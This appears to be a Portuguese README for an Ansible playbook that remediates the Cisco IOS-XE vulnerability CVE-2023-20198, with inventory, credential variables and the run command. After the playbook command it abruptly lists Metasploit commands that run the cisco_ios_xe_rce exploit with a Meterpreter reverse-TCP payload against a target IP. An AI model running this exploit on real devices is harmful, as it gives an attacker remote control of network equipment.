
Verificar e corrigir condições que tornam um dispositivo IOS-XE vulnerável ao CVE-2023-20198
Este repositório contém um playbook Ansible para remediar a vulnerabilidade CVE-2023-20198 encontrada em determinados dispositivos Cisco.
Ele faz o seguinte:
CVE-2023-20198-Fix/
│
├── ansible.cfg # Ansible configuration file
├── group_vars/ # Directory for variables specific to groups of hosts
│ └── iosxe_devices.yml # Variable definitions for IOS-XE devices
├── inventory.yml # Inventory of hosts, including devices to target
└── remediate.yml # Playbook for remediating CVE-2023-20198
Certifique-se de ter o Ansible instalado na sua máquina de controle. Este playbook foi escrito para Ansible 2.9 ou mais novo.
Configure o Ansible: Edite o ansible.cfg para corresponder às configurações do seu ambiente.
Atualize o inventory.yml com os detalhes do host dos seus dispositivos IOS-XE.
Defina quaisquer variáveis necessárias em group_vars/iosxe_devices.yml. Isso deve incluir quaisquer configurações comuns para seus dispositivos IOS-XE, como configurações de conexão e credenciais.
Para adicionar um novo dispositivo IOS-XE ao inventário, edite o arquivo inventory.yml e acrescente o novo host sob o grupo apropriado:
iosxe_devices:
hosts:
vulnerable_router01:
ansible_host: 192.168.1.3
# ... other necessary variables
Substitua new_router01 pelo nome do host do seu dispositivo e as variáveis ansible_* pelos valores reais do seu dispositivo.
Se precisar atualizar credenciais ou outras configurações para o grupo de dispositivos IOS-XE, edite o arquivo group_vars/iosxe_devices.yml:
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password # Lab use only, store credentials responsibly!
# ... other variables
Para executar o playbook, use o seguinte comando:
ansible-playbook remediate.yml -i inventory.yml
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242 # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit



Sempre teste suas alterações em um ambiente controlado antes de executar o playbook em produção.
Armazene dados sensíveis, como senhas e chaves secretas, usando o Ansible Vault. Não armazene credenciais em texto simples nos arquivos de inventário ou group_vars.
Para medidas de segurança adicionais e melhores práticas, consulte a documentação oficial do Ansible.
Por favor, substitua todos os valores de espaço reservado por dados reais que correspondam ao seu ambiente. Este README pressupõe familiaridade básica com conceitos do Ansible, como inventário, variáveis e execução de playbooks.